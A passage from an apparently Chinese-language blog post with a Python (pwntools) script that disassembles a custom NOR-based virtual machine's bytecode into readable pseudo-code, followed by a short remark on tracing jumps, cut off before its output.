class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#context.log_level=&#x27;warning&#x27;</span></span><br><span class="line">ip = <span class="number">300</span></span><br><span class="line">reg=<span class="number">0</span></span><br><span class="line">originalCode=<span class="string">b&#x27;\x00&#x27;</span>*<span class="number">600</span>+<span class="built_in">open</span>(<span class="string">&#x27;code.bin&#x27;</span>,<span class="string">&#x27;rb&#x27;</span>).read()</span><br><span class="line">CodeList=[]</span><br><span class="line"><span class="keyword">assert</span>(<span class="built_in">len</span>(originalCode)%<span class="number">2</span>==<span class="number">0</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(originalCode)//<span class="number">2</span>):</span><br><span class="line">    CodeList.append(u16(originalCode[i*<span class="number">2</span>:i*<span class="number">2</span>+<span class="number">2</span>]))</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rol</span>(<span class="params">num</span>):</span><br><span class="line">    <span class="keyword">assert</span>(<span class="number">0</span>&lt;=num&lt;=<span class="number">0xffff</span>)</span><br><span class="line">    <span class="keyword">return</span> ((num&lt;&lt;<span class="number">1</span>)&amp;<span class="number">0xffff</span>)+(num&gt;&gt;<span class="number">15</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rol_back</span>(<span class="params">num</span>):</span><br><span class="line">    <span class="keyword">assert</span>(<span class="number">0</span>&lt;=num&lt;=<span class="number">0xffff</span>)</span><br><span class="line">    <span class="keyword">return</span> (num&gt;&gt;<span class="number">1</span>)+(num%<span class="number">2</span>)*(<span class="number">1</span>&lt;&lt;<span class="number">15</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rev</span>(<span class="params">num</span>):</span><br><span class="line">    <span class="keyword">return</span> (~num)&amp;<span class="number">0xffff</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">jmp</span>(<span class="params">addr</span>):</span><br><span class="line">    <span class="keyword">global</span> ip</span><br><span class="line">    info(<span class="string">f&#x27;ip=<span class="subst">&#123;<span class="built_in">hex</span>(ip)&#125;</span>:set ip to <span class="subst">&#123;<span class="built_in">hex</span>(addr)&#125;</span>&#x27;</span>)</span><br><span class="line">    <span class="keyword">if</span> addr-ip&gt;<span class="number">30</span> <span class="keyword">or</span> addr-ip&lt;<span class="number">0</span>:</span><br><span class="line">        <span class="built_in">input</span>(<span class="string">f&quot;error at ip=<span class="subst">&#123;<span class="built_in">hex</span>(ip)&#125;</span>&quot;</span>)</span><br><span class="line">    ip=addr</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pattern_nor_reg</span>(<span class="params">code</span>):</span><br><span class="line">    src0,src1,dst=code[<span class="number">0</span>],code[<span class="number">1</span>],code[<span class="number">2</span>]</span><br><span class="line">    <span class="keyword">if</span> dst!=<span class="number">7</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    <span class="keyword">return</span> [src0,src1]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">nor_reg_handler</span>(<span class="params">result</span>):</span><br><span class="line">    reg=<span class="number">0xffffffff</span></span><br><span class="line">    <span class="keyword">return</span> <span class="string">f&#x27;reg=~(*(<span class="subst">&#123;<span class="built_in">hex</span>(result[<span class="number">0</span>])&#125;</span>)|*(<span class="subst">&#123;<span class="built_in">hex</span>(result[<span class="number">1</span>])&#125;</span>))&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pattern_not</span>(<span class="params">code</span>):</span><br><span class="line">    src0,src1,dst=code[<span class="number">0</span>],code[<span class="number">1</span>],code[<span class="number">2</span>]</span><br><span class="line">    <span class="keyword">if</span> src0!=src1:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    <span class="keyword">return</span> [src0,dst]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">not_handler</span>(<span class="params">result</span>):</span><br><span class="line">    <span class="keyword">return</span> <span class="string">f&#x27;*(<span class="subst">&#123;<span class="built_in">hex</span>(result[<span class="number">1</span>])&#125;</span>)=~(*(<span class="subst">&#123;<span class="built_in">hex</span>(result[<span class="number">0</span>])&#125;</span>))&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pattern_load_reg</span>(<span class="params">code</span>):</span><br><span class="line">    src0,src1,dst=code[<span class="number">0</span>],code[<span class="number">1</span>],code[<span class="number">2</span>]</span><br><span class="line">    <span class="keyword">if</span> src0!=src1 <span class="keyword">or</span> dst!=<span class="number">7</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    <span class="keyword">return</span> src0</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">load_reg_handler</span>(<span class="params">result</span>):</span><br><span class="line">    reg=rev(CodeList[result])</span><br><span class="line">    <span class="keyword">return</span> <span class="string">f&#x27;reg=~(*(<span class="subst">&#123;<span class="built_in">hex</span>(result)&#125;</span>))&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pattern_save_reg</span>(<span class="params">code</span>):</span><br><span class="line">    src0,src1,dst=code[<span class="number">0</span>],code[<span class="number">1</span>],code[<span class="number">2</span>]</span><br><span class="line">    <span class="keyword">if</span> src0!=src1 <span class="keyword">or</span> src0!=<span class="number">7</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    <span class="keyword">return</span> dst</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">save_reg_handler</span>(<span class="params">result</span>):</span><br><span class="line">    <span class="keyword">global</span> reg</span><br><span class="line">    <span class="keyword">global</span> ip</span><br><span class="line">    <span class="keyword">if</span> result==<span class="number">0</span>:</span><br><span class="line">        jmp(reg)</span><br><span class="line">        info(<span class="string">&#x27;regjump&#x27;</span>)</span><br><span class="line">        ip-=<span class="number">3</span></span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">    <span class="keyword">return</span> <span class="string">f&#x27;*(<span class="subst">&#123;<span class="built_in">hex</span>(result)&#125;</span>)=~reg&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pattern_jmp</span>(<span class="params">code</span>):</span><br><span class="line">    addr=pattern_load_reg(code)</span><br><span class="line">    <span class="keyword">if</span> addr==-<span class="number">1</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    code=code[<span class="number">3</span>:]</span><br><span class="line">    src0,src1,dst=code[<span class="number">0</span>],code[<span class="number">1</span>],code[<span class="number">2</span>]</span><br><span class="line">    <span class="keyword">if</span> src0==src1==<span class="number">7</span> <span class="keyword">and</span> dst==<span class="number">0</span>:</span><br><span class="line">        <span class="keyword">return</span> addr</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">jmp_handler</span>(<span class="params">result</span>):</span><br><span class="line">    jmp(CodeList[result])</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pattern_load_imm</span>(<span class="params">code</span>):</span><br><span class="line">    addr=pattern_jmp(code)</span><br><span class="line">    <span class="keyword">if</span> addr==-<span class="number">1</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> (CodeList[addr]-addr==<span class="number">2</span> <span class="keyword">and</span> pattern_load_reg(code[<span class="number">8</span>:])==addr+<span class="number">1</span>):</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    <span class="keyword">return</span> code[<span class="number">7</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">load_imm_handler</span>(<span class="params">result</span>):</span><br><span class="line">    <span class="keyword">global</span> reg</span><br><span class="line">    reg=result</span><br><span class="line">    <span class="keyword">return</span> <span class="string">f&#x27;reg=<span class="subst">&#123;<span class="built_in">hex</span>(result)&#125;</span>&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pattern_put</span>(<span class="params">code</span>):</span><br><span class="line">    chraddr=pattern_load_reg(code)</span><br><span class="line">    <span class="keyword">if</span> chraddr==-<span class="number">1</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    code=code[<span class="number">3</span>:]</span><br><span class="line">    pos=pattern_save_reg(code)</span><br><span class="line">    <span class="keyword">if</span> pos!=<span class="number">3</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    code=code[<span class="number">3</span>:]</span><br><span class="line">    imm=pattern_load_imm(code)</span><br><span class="line">    <span class="keyword">if</span> imm!=<span class="number">1</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    code=code[<span class="number">11</span>:]</span><br><span class="line">    pos=pattern_save_reg(code)</span><br><span class="line">    <span class="keyword">if</span> pos!=<span class="number">4</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    <span class="keyword">return</span> chraddr</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">put_handler</span>(<span class="params">result</span>):</span><br><span class="line">    <span class="keyword">return</span> <span class="string">f&quot;putchar(&#x27;<span class="subst">&#123;<span class="built_in">chr</span>(CodeList[result])&#125;</span>&#x27;)&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pattern_get</span>(<span class="params">code</span>):</span><br><span class="line">    imm=pattern_load_imm(code)</span><br><span class="line">    <span class="keyword">if</span> imm!=<span class="number">1</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    code=code[<span class="number">11</span>:]</span><br><span class="line">    pos=pattern_save_reg(code)</span><br><span class="line">    <span class="keyword">if</span> pos!=<span class="number">6</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    code=code[<span class="number">3</span>:]</span><br><span class="line">    pos=pattern_load_reg(code)</span><br><span class="line">    <span class="keyword">if</span> pos!=<span class="number">5</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    code=code[<span class="number">3</span>:]</span><br><span class="line">    addr=pattern_save_reg(code)</span><br><span class="line">    <span class="keyword">if</span> addr==-<span class="number">1</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    <span class="keyword">return</span> addr</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_handler</span>(<span class="params">result</span>):</span><br><span class="line">    <span class="keyword">return</span> <span class="string">f&quot;*(<span class="subst">&#123;<span class="built_in">hex</span>(result)&#125;</span>)=getchar()&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pattern_load_mem</span>(<span class="params">code</span>):</span><br><span class="line">    addrsrc=pattern_load_reg(code)</span><br><span class="line">    code=code[<span class="number">3</span>:]</span><br><span class="line">    addrdst=pattern_save_reg(code)</span><br><span class="line">    <span class="keyword">if</span> addrsrc==-<span class="number">1</span> <span class="keyword">or</span> addrdst==-<span class="number">1</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    <span class="keyword">return</span> [addrsrc,addrdst]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">load_mem_handler</span>(<span class="params">result</span>):</span><br><span class="line">    <span class="keyword">return</span> <span class="string">f&quot;*(<span class="subst">&#123;<span class="built_in">hex</span>(result[<span class="number">1</span>])&#125;</span>)=<span class="subst">&#123;<span class="string">f&#x27;*(<span class="subst">&#123;<span class="built_in">hex</span>(result[<span class="number">0</span>])&#125;</span>)&#x27;</span> <span class="keyword">if</span> result[<span class="number">0</span>]!=<span class="number">7</span> <span class="keyword">else</span> <span class="string">&#x27;reg&#x27;</span>&#125;</span>&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pattern_rol</span>(<span class="params">code</span>):</span><br><span class="line">    result=pattern_load_mem(code)</span><br><span class="line">    <span class="keyword">if</span> result==-<span class="number">1</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    <span class="keyword">if</span> result[<span class="number">0</span>]!=result[<span class="number">1</span>]:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    addr=result[<span class="number">0</span>]</span><br><span class="line">    code=code[<span class="number">6</span>:]</span><br><span class="line">    result=pattern_load_mem(code)</span><br><span class="line">    <span class="keyword">if</span> result==-<span class="number">1</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    <span class="keyword">if</span> result[<span class="number">1</span>]!=addr <span class="keyword">or</span> result[<span class="number">0</span>]!=<span class="number">1</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    <span class="keyword">return</span> addr</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pattern_rols</span>(<span class="params">code</span>):</span><br><span class="line">    <span class="keyword">global</span> ip</span><br><span class="line">    i=<span class="number">1</span></span><br><span class="line">    addr0=pattern_rol(code)</span><br><span class="line">    <span class="keyword">if</span> addr0==-<span class="number">1</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    ip+=<span class="number">12</span></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        addr1=pattern_rol(CodeList[ip:])</span><br><span class="line">        <span class="keyword">if</span> addr1==-<span class="number">1</span> <span class="keyword">or</span> addr1!=addr0:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        i+=<span class="number">1</span></span><br><span class="line">        ip+=<span class="number">12</span></span><br><span class="line">        addr0=addr1</span><br><span class="line">    <span class="keyword">return</span> [addr0, i%<span class="number">16</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rols_handler</span>(<span class="params">result</span>):</span><br><span class="line">    <span class="keyword">return</span> <span class="string">f&#x27;rol(*(<span class="subst">&#123;<span class="built_in">hex</span>(result[<span class="number">0</span>])&#125;</span>), <span class="subst">&#123;<span class="built_in">str</span>(result[<span class="number">1</span>])&#125;</span>)&#x27;</span></span><br><span class="line"></span><br><span class="line">patterns=[[pattern_rols,rols_handler,<span class="number">0</span>],[pattern_get,get_handler,<span class="number">20</span>],[pattern_put,put_handler,<span class="number">20</span>],[pattern_load_imm,load_imm_handler,<span class="number">11</span>],[pattern_jmp,jmp_handler,<span class="number">0</span>],[pattern_load_mem,load_mem_handler,<span class="number">6</span>],[pattern_load_reg,load_reg_handler,<span class="number">3</span>],[pattern_save_reg,save_reg_handler,<span class="number">3</span>],[pattern_not,not_handler,<span class="number">3</span>],[pattern_nor_reg,nor_reg_handler,<span class="number">3</span>]]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">disassemble</span>():</span><br><span class="line">    <span class="keyword">global</span> ip</span><br><span class="line">    ip=<span class="number">300</span></span><br><span class="line">    <span class="keyword">while</span> ip&lt;<span class="built_in">len</span>(CodeList):</span><br><span class="line">        flag=<span class="number">0</span></span><br><span class="line">        <span class="keyword">for</span> pattern <span class="keyword">in</span> patterns:</span><br><span class="line">            result=pattern[<span class="number">0</span>](CodeList[ip:])</span><br><span class="line">            <span class="keyword">if</span> result!=-<span class="number">1</span>:</span><br><span class="line">                dis=pattern[<span class="number">1</span>](result)</span><br><span class="line">                <span class="comment">#print(pattern)</span></span><br><span class="line">                <span class="keyword">if</span> dis!=<span class="literal">None</span>:</span><br><span class="line">                    <span class="built_in">print</span>(<span class="string">f&#x27;<span class="subst">&#123;<span class="built_in">hex</span>(ip)&#125;</span>:<span class="subst">&#123;dis&#125;</span>&#x27;</span>)</span><br><span class="line">                ip+=pattern[<span class="number">2</span>]</span><br><span class="line">                flag=<span class="number">1</span></span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">if</span> flag==<span class="number">0</span>:</span><br><span class="line">            <span class="built_in">input</span>(<span class="string">f&#x27;unknown instruction at ip=<span class="subst">&#123;<span class="built_in">hex</span>(ip)&#125;</span>&#x27;</span>)</span><br></pre></td></tr></table></figure><p>为了避免程序到处乱跳，或者出现指令错位的情况，可以在jmp函数中插入调试信息跟踪程序跳转。观察结果发现程序没有远跳转，也无指令错位，这样我们就可以放心看输出结果了：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span 